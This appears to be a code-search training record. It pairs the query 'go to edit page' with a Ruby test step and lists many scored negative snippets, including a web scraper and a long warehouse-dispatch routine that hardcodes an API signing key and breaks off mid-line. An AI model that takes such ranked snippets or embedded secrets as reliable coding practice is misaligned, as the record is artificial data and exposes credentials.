= Rails.root.join('app', 'assets', 'images', graph_relative_path)\n FileUtils.mkdir_p path\n File.join(path, graph_filename)\n end", "def gpx_to_hash(file)\n data = begin\n Hash.from_xml(file).with_indifferent_access[:gpx][:wpt]\n rescue\n false\n end\n end", "def to_svg\n rp=rubyvis_panel\n rp.render\n rp.to_svg\n end", "def svg_filename\r\n return \"#{File.expand_path(File.dirname(File.dirname(File.dirname(File.dirname(__FILE__)))))}/templates/branding-slide.svg\"\r\n end" ]
[ "0.6770629", "0.64702153", "0.63917065", "0.6349254", "0.59822357", "0.59413344", "0.5889963", "0.5875585", "0.58580434", "0.5775845", "0.5728519", "0.5686561", "0.5671862", "0.56661004", "0.556634", "0.5539929", "0.5539929", "0.5527675", "0.5497888", "0.54803985", "0.5468873", "0.53536403", "0.53379333", "0.5316627", "0.52896345", "0.52761424", "0.5273436", "0.5269076", "0.5258467", "0.52462924", "0.52325857", "0.5148918", "0.5130903", "0.5122357", "0.5100632", "0.50920963", "0.50826025", "0.5068081", "0.50605786", "0.5037953", "0.5004093", "0.49988174", "0.49921805", "0.49808267", "0.49808267", "0.49792495", "0.49628484", "0.49551222", "0.49131998", "0.4911395", "0.48930663", "0.4888154", "0.48852012", "0.48840183", "0.4880631", "0.4876351", "0.48660418", "0.48562202", "0.48551163", "0.4825446", "0.48249945", "0.48029464", "0.47981423", "0.47410247", "0.47387874", "0.47327474", "0.47111666", "0.47110084", "0.47080564", "0.47041467", "0.4699075", "0.46922782", "0.46920058", "0.46805713", "0.46757877", "0.46715432", "0.46671632", "0.4661853", "0.46605915", "0.46591318", "0.46578622", "0.46552673", "0.46539715", "0.4646201", "0.46287674", "0.46268094", "0.4623968", "0.4620518", "0.45966244", "0.45795128", "0.4576566", "0.45680192", "0.45610985", "0.45610985", "0.4560696", "0.4559335", "0.45560032", "0.4553967", "0.45349312", "0.4525382" ]
0.72526675
0
go to edit page
def click_edit(the_name) response.should contain the_name click_link_within "div[id*=\""+to_html_tag(the_name)+"\"]", "Edit" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def edit\r\n end", "def edit\r\n \r\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n\n end", "def edit\n \tredirect_to action: \"show\"\n end", "def edit\n\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end", "def edit\n end" ]
[ "0.82043284", "0.81699467", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.81546557", "0.8130884", "0.81210005", "0.8103098", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825", "0.8063825" ]
0.0
-1
noch nicht fertig! Shop Versandbedingungen fehlen noch!
def edeka_1 @edeka = Shop.find_or_initialize_by(id: 5, name: "Edeka",shop_logo: "edeka24.jpg") @edeka.save vintage = [] prod_desc = [] price = [] prod_title =[] taste =[] category = [] prod_mhd = [] name = [] product_url = [] image_url = [] inhalt = [] price_per_litre_string = [] $check2 = 0 #deutsche weine url ="https://www.edeka24.de/Getraenke/Deutsche+Weine/?force_sid=l2tep3m7uche07igtpfio7sh47&ldtype=&_artperpage=100&pgNr=0&cl=alist&searchparam=&cnid=d4b674347abffda7caa0e3f4d813c631" page = Nokogiri::HTML(open(url)) p "h1" page.css('.productImage a').each do |line| product_url << line['href'] end p "h2" $check2 = 0 page.css('div.product-top-box h2 a span').each do |line| name << line.text line = line.text if line.scan(/\b\d{4}\b/) line = line.scan(/\b\d{4}\b/).first if !line.nil? and line != "" and line.include? "20" p line $check2 = 1 vintage << line else vintage << "n/a" end else vintage << "n/a" end end counter = name.length p "h3" #page.css('.productImage a').each do |i| #mainContent > div.teaserContainer.clearfix > div:nth-child(2) > #mainContent > div.teaserContainer.clearfix > div:nth-child(9) > div.productImage > a > img # image_url << i #end p "h4" page.css('.price.roundCorners').each do |preis| price_converted = preis.text.gsub(" ", "") price2 = price_converted.gsub(',', '.') #price2 = price2.sub("€*","") price << price2 end page.css('.package').each do |line| line = line.text line = line.gsub!("Inhalt: ","") line = line.gsub!(" ltr","") line = line.gsub!(" ", "") line = line.gsub!("\n", "") inhalt << line end # page.css('pricePerUnit').each do |line| # line = line.text # line = line.gsub!(" €/1 ltr", "") # line = line.gsub!(" ", "") # price_per_litre_string << line #end p "h5" # name.length.times do |line| # category << 'Rotwein' # prod_mhd << 'https://cdn-1.vetalio.de/media/catalog/product/cache/1/logo/150x100/9df78eab33525d08d6e5fb8d27136e95/e/d/edeka24.png' # end #vintage product_url.each do |y| page = Nokogiri::HTML(open(y)) page.xpath('//*[@id="zoom1"]').each do |line| line = line['href'] image_url << line end page.xpath('//*[@id="productPriceUnit"]').each do |line| line = line.text line = line.gsub!("(","") line = line.gsub!(")","") price_per_litre_string << line end end count = product_url.length count.times do |i| delinero_wein = @edeka.bottles.find_or_initialize_by(product_url: product_url[i]) delinero_wein.name = name[i] delinero_wein.image_url = image_url[i] delinero_wein.product_url = product_url[i] delinero_wein.price = price[i] delinero_wein.vintage = vintage[i] delinero_wein.inhalt = inhalt[i] delinero_wein.category = "Rotwein" delinero_wein.price_per_litre_string = price_per_litre_string[i] delinero_wein.save end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def zuruecksetzen()\n end", "def show\n @basket.set_price\n if params[:st]\n if @basket.address || @basket.type_of_delivery == '2'\n\n if params[:st]==1\n p=0\n @basket.cart_items.each do |c|\n if c.amount.to_i > c.dvd.amount\n p=1\n end\n end\n if p==0\n @basket.cart_items.each do |c|\n c.dvd.amount= c.dvd.amount- c.amount.to_i\n c.dvd.amount.save\n end\n else\n redirect_to @basket, notice: 'Нет в наличии'\n end\n else\n @basket.status=params[:st]\n @basket.save\n end\n else\n redirect_to @basket, notice: 'Не указан адрес'\n end\n end\n\n end", "def rental_box\n @title_page = \"Sewa Dekoder\"\n @memberships = Membership.packages_by_category('other')\n @upgrades = Membership.where('name LIKE ? OR name LIKE ?', '%universe%', '%star%')\n\n @order = order\n if order.items.where('membership_id IN (?)', @memberships.map(&:id)).blank?\n single_decoder = @memberships.where('memberships.name LIKE ?','1 %').first\n order.add_item(single_decoder, session_cart,session[:current_price_id])\n end\n end", "def choice_a_shop\n sell_item\n end", "def schubert; end", "def suivre; end", "def verdi; end", "def products\n end", "def goods\n @shop_goods\n end", "def shipped\n \n end", "def shop_products\n products.shop_products\n end", "def show\n # return redirect_to finalize_search_path(Search.create_unfinalized(current_user, @shop)) unless can_show?\n @cart = Cart.new_with_bookings(current_search)\n I18n.locale = admin_preview_language_abbr if !pretending_to_be_customer?\n end", "def shop_list\n {}\nend", "def show\n increase_pv(@shop)\n end", "def debo_ir_a_carcel\n if (super)\n return !pagar_fianza\n else\n return true \n # Lo hemos hecho así, porque pensamos que si tiene carta y llama a \n # pagar fianza y tiene el saldo suficiente, se restaría dinero\n # del saldo aún teniendo la carta libertad\n end\n end", "def make_item_list\n @data = $game_temp.forge_shop.products\n end", "def getShop\n @shop\n end", "def variant_full_price(variant)\nproduct = variant.product\nunless product.variants.active(current_currency).all? { |v| v.price == product.price }\nSpree::Money.new(variant.price, { currency: current_currency }).to_html\nend\nend", "def order1 \n puts(\"\\n\\n- - - - - - - - - - - - - - - -\\n[SHOP] Executing order 1: ABCDABA should be $13.25\\n\\n\") \n @shop.reset_order\n @shop.add_product_to_order_by_name('A')\n @shop.add_product_to_order_by_name('B')\n @shop.add_product_to_order_by_name('C')\n @shop.add_product_to_order_by_name('D')\n @shop.add_product_to_order_by_name('A')\n @shop.add_product_to_order_by_name('B')\n @shop.add_product_to_order_by_name('A')\nend", "def karte_drucken()\n # TODO ÄNDERN\n if !tarif_gewaehlt?\n puts \"Kein Tarif wurde gewählt.\"\n else\n if @eingeworfen <= @tarif.betrag\n puts \"Der offener Betrag: #{@tarif.betrag - @eingeworfen }\"\n else\n puts(\"------------------\")\n puts(\"- Cinema Magico -\")\n puts(\"- Phantastische Tierwesen\")\n # TODO diese Zeile ändern\n puts(\"- Preis \" + @tarif.betrag().to_s + \" Euro\") # vordefiniert to_s , von Integer zum String wandeln\n puts(\"- Bezahlt \" + @eingeworfen.to_s + \" Euro\") # vordefiniert to_s , von Integer zum String wandeln\n puts(\"------------------\")\n # die Gesamtsumme, mit dem der Automat nach der letzten Leerung\n # gefuettert wurde\n @eingeworfen -= @tarif.betrag\n @summe_automat = @summe_automat + @tarif.betrag\n @tarif = nil\n return\n end\n end\n\n end", "def intelligenter_zug(spielfeld, aktueller_spieler)\n zug = nil\n\n spieler = spielfeld.spieler\n gegner = nil\n for s in spieler\n if s.name != aktueller_spieler.name\n gegner = s\n break\n end\n end\n\n # 1. Regel: Zuerst nach einer Gewinnsituation suchen\n for reihe in Spielfeld::reihen\n besetzt, frei = spielfeld.reihen_status(reihe)\n\n # Wenn der aktuelle Spieler in einer Reihe bereits zwei Felder\n # besetzt hält und das dritte frei ist, dann natürlich das nehmen\n if (frei.size == 1) and (besetzt[aktueller_spieler].size == 2)\n zug = Zug.new(aktueller_spieler, frei[0])\n break # nicht weitersuchen\n end\n end\n\n if zug.nil?\n # 2. Regel: Suche dann nach den Reihen, in denen der Gegner bereits\n # genau 2 Felder besetzt hat und das dritte Feld noch frei ist.\n for reihe in Spielfeld::reihen\n besetzt, frei = spielfeld.reihen_status(reihe)\n\n # Gefährlich, wenn Gegner zwei besetzt hält. Wie in der vorherigen\n # Lektion gelernt, erhält man zum Index des aktuellen Spielers\n # in der Spielerliste den Index des Gegners mit der Bitoperation 1^wer\n if (frei.size == 1) and (besetzt[gegner].size == 2)\n # Jetzt muss der Spieler unbedingt das eine freie Feld besetzen!\n # Andernfalls kann der Gegner im nächsten Zug gewinnen.\n zug = Zug.new(aktueller_spieler, frei[0])\n break # nicht weitersuchen\n end\n end\n end\n\n # Eckensituation bestimmen\n ecken = {\n 1 => 0, # links oben\n 3 => 0, # rechts oben\n 7 => 0, # links unten\n 9 => 0 # rechts unten\n }\n gegen_ecken = [[1, 9], [9, 1], [3, 7], [7, 3]]\n for z in spielfeld.zuege\n feld = z.nummer\n # Gegner besetzt die Ecke, wenn:\n # feld ist eine Ecke und Gegner besetzt sie\n if (ecken[feld] != nil) and (z.spieler == gegner)\n # Markiere Ecke als vom Gegner besetzt\n ecken[feld] = 1\n end\n end\n\n # 3. Regel: Immer in die Mitte setzten, falls dort frei ist\n # Vorsicht vor der XOX Situation an der Diagonale!\n if zug.nil?\n frei = spielfeld.freie_felder\n mitte = 5\n if frei.include?(mitte)\n zug = Zug.new(aktueller_spieler, mitte)\n else\n # Aha, Mitte ist bereits besetzt.\n # Sofern sie vom aktuellen Spieler besetzt ist, dann nach der XOX\n # Situation Ausschau halten und den nächsten Zug nicht in eine Ecke setzen.\n # XOX (oder OXO) Situation besteht, wenn\n # Ecke 1 und 9 vom Gegner besetzt und aktueller Spieler auf 5 oder\n # Ecke 3 und 7 vom Gegner besetzt und aktueller Spieler auf 5.\n for ecken_paar in gegen_ecken\n besetzt, frei_ecken = spielfeld.reihen_status([ecken_paar[0], mitte, ecken_paar[1]])\n if besetzt[gegner].include?(ecken_paar[0]) and besetzt[gegner].include?(ecken_paar[1])\n if besetzt[aktueller_spieler].include?(mitte)\n # Jetzt also nicht in eine freie Ecke setzen, sondern auf\n # die Felder 2, 4, 6 oder 8, sofern sie frei sind.\n xox_felder = [2, 4, 6, 8]\n for f in xox_felder\n if !frei.include?(f)\n xox_felder.delete(f)\n end\n end\n # Von den freien Ausweichfeldern zufällig eines nehmen\n feld = zufalls_feld(xox_felder)\n if feld != nil\n zug = Zug.new(aktueller_spieler, feld)\n break\n end\n end\n end\n end\n\n end\n end\n\n # 4. Regel: Verteidige gegenüberliegende Ecke\n frei = spielfeld.freie_felder\n if zug.nil?\n # Wenn Ecke 1 besetzt, dann setze auf 9, oder umgekehrt (sofern frei).\n # Wenn Ecke 3 besetzt, dann setze auf 7, oder umgekehrt (sofern frei).\n for ecken_paar in gegen_ecken\n if (ecken[ecken_paar[0]] > 0) and (frei.include?(ecken_paar[1]))\n zug = Zug.new(aktueller_spieler, ecken_paar[1])\n break # nicht weitersuchen\n end\n end\n end\n\n # 5. Regel: Setze in irgendeine freie Ecke.\n # Verwende Variablen 'frei' und 'ecken' von oben\n if zug.nil?\n for ecke in ecken.keys\n if frei.include?(ecke)\n zug = Zug.new(aktueller_spieler, ecke)\n break # nicht weitersuchen\n end\n end\n end\n\n # Andernfalls Zufallszug machen\n if zug.nil?\n zug = zufalls_zug(spielfeld, aktueller_spieler)\n end\n\n zug\n end", "def karte_drucken()\n if !tarif_gewaehlt?()\n puts (\"Es wurde noch kein Tarif gewählt. Bitte wählen Sie zuerst einen Tarif aus.\")\n elsif @tarif - @eingeworfen > 0\n offener_betrag = @tarif - @eingeworfen\n puts (\"Sie müssen noch \" + offener_betrag.to_s() + \" Euro einzahlen.\")\n else\n kartenpreis = @tarif\n\n puts(\"------------------\")\n puts(\"- Cinema Magico -\")\n puts(\"- Phantastische Tierwesen\")\n # TODO diese Zeile ändern\n puts(\"- Preis \" + @tarif.to_s + \" Euro\")\n puts(\"- Bezahlt \" + @eingeworfen.to_s + \" Euro\")\n puts(\"------------------\")\n # die Gesamtsumme, mit dem der Automat nach der letzten Leerung\n # gefuettert wurde\n wechsel_geld()\n @summe_automat += kartenpreis\n @tarif = nil\n return\n end\n end", "def buy_product\n products = @seller.show_product_info \n product_buy = @view.buy_product(products)\n @total_price = @seller.save_buy_a_product(product_buy)\n @view.buy_status(@total_price)\n input = @view.menu(\"2\")\n seller_actions(input) \n end", "def moverA_Despacho oc\n #sku = Integer(params[:sku])\n #cantidad = Integer(params[:cantidad])\n #oc = params[:oc]\n idDespacho = (Almacen.find_by depacho:true).almacenId\n @id = idDespacho\n sku = (((Orden.find_by idOrden: oc).sku).strip).to_i\n cantidad = (((Orden.find_by idOrden: oc).cantidad).strip).to_i\n puts cantidad\n cliente = (Orden.find_by idOrden: oc).cliente\n cantidadBodega = ((Inventario.find_by sku: sku).cantidadBodega).to_i\n cantidadBodega = cantidadBodega - cantidad\n (Inventario.find_by sku: sku).update(cantidadBodega: cantidadBodega)\n cantidadVendida = ((Inventario.find_by sku: sku).cantidadVendida).to_i\n cantidadVendida = cantidadVendida - cantidad\n (Inventario.find_by sku: sku).update(cantidadVendida: cantidadVendida)\n # producto = ((Inventario.find_by sku: sku).cantidadBodega).to_i - ((Inventario.find_by sku: sku).cantidadVendida).to_i\n # if sku == 19\n # StockItem.find(1).update(count_on_hand:producto)\n # elsif sku == 27\n # StockItem.find(2).update(count_on_hand:producto)\n # elsif sku == 40\n # StockItem.find(3).update(count_on_hand:producto)\n # elsif sku == 45\n # StockItem.find(4).update(count_on_hand:producto)\n # elsif sku == 47\n # StockItem.find(5).update(count_on_hand:producto)\n # end\n if cliente == 'internacional'\n #Vemos si tenemos lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n puts 'ehtra aca'\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n #necesario = cantidad\n #restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n puts necesario\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n direccion = 'internacional'\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'DELETE' + idProducto + direccion + precio.to_s + oc\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient::Request.execute(method: :delete, url: 'http://integracion-2016-prod.herokuapp.com/bodega/stock', payload: {:productoId => idProducto, :direccion => direccion, :precio => precio, :oc => oc}, headers: {Authorization: 'INTEGRACION grupo1:'+clave})\n k += 1\n end\n restante -= k\n end\n\n #(Orden.find_by idOrden: oc).update(estado: \"despachada\")\n #Aquí termina el if internacional \n else\n almacenRecepcion = (IdGrupoProduccion.find_by idGrupo: cliente).idBodegaRecepcion\n #Vemos si hay lo suficiente en el almacén de despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho}}\n contenido = JSON.parse temp\n i=0\n necesario = cantidad\n restante = cantidad\n while contenido[i].nil? == false do\n sku_ = Integer(contenido[i][\"_id\"])\n total = Integer(contenido[i][\"total\"])\n if sku_ == sku\n if total >= cantidad\n necesario = 0\n restante = 0\n while cantidad > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => cantidad}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n puts cantidad\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n cantidad -= k\n end\n else\n necesario = cantidad - total\n restante = cantidad - total\n while total > 0\n #Despachamos lo que teniamos en despacho\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => total}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + almacenRecepcion\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStockBodega', {:productoId => idProducto, :almacenId => almacenRecepcion, oc => oc, precio => precio}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n total -= k\n end\n #@necesario = necesario\n end\n else\n necesario = cantidad\n restante = cantidad\n end\n i += 1\n end\n while necesario > 0 do\n i = Almacen.first.id\n #recorremos los almacenes buscando el producto\n nAlmacenes = Almacen.last.id\n while i <= nAlmacenes \n id = Almacen.find(i).almacenId\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + id\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/skusWithStock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id}}\n contenido = JSON.parse temp\n j=0\n while contenido[j].nil? == false do\n sku_ = Integer(contenido[j][\"_id\"])\n total = Integer(contenido[j][\"total\"])\n if sku_ == sku && id != idDespacho\n #Encontramos el producto\n signature = 'GET' + id.to_s + sku_.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n if necesario != 0\n temp = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => id, :sku => sku_, :limit => necesario}}\n productos = JSON.parse temp\n @productos = productos\n puts productos\n k = 0\n while k < productos.length\n idProducto = productos[k][\"_id\"]\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'POST' + idProducto + idDespacho\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n RestClient.post 'http://integracion-2016-prod.herokuapp.com/bodega/moveStock', {:productoId => idProducto, :almacenId => idDespacho}.to_json, :Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json'\n k += 1\n end\n necesario -= k\n end \n end\n j += 1\n end\n i += 1\n end \n end\n #Enviamos lo restante\n while restante > 0\n key = '.k3GBP9YYZmzWCr'\n hmac = HMAC::SHA1.new(key)\n signature = 'GET' + idDespacho + sku.to_s\n hmac.update(signature)\n clave = Base64.encode64(\"#{hmac.digest}\")\n stock = RestClient.get 'http://integracion-2016-prod.herokuapp.com/bodega/stock', {:Authorization => 'INTEGRACION grupo1:' + clave, :content_type => 'application/json', :params => {:almacenId => idDespacho, :sku => sku, :limit => restante}}\n stockParseado = JSON.parse stock\n puts stockParseado.length\n k = 0\n while k < stockParseado.length\n idProducto = stockParseado[k][\"_id\"]\n orden = RestClient.get 'http://moto.ing.puc.cl/oc/obtener/' + oc\n ordenParseada = JSON.parse orden\n precio = ordenParseada[0][\"precioUnitario\"]\n key = 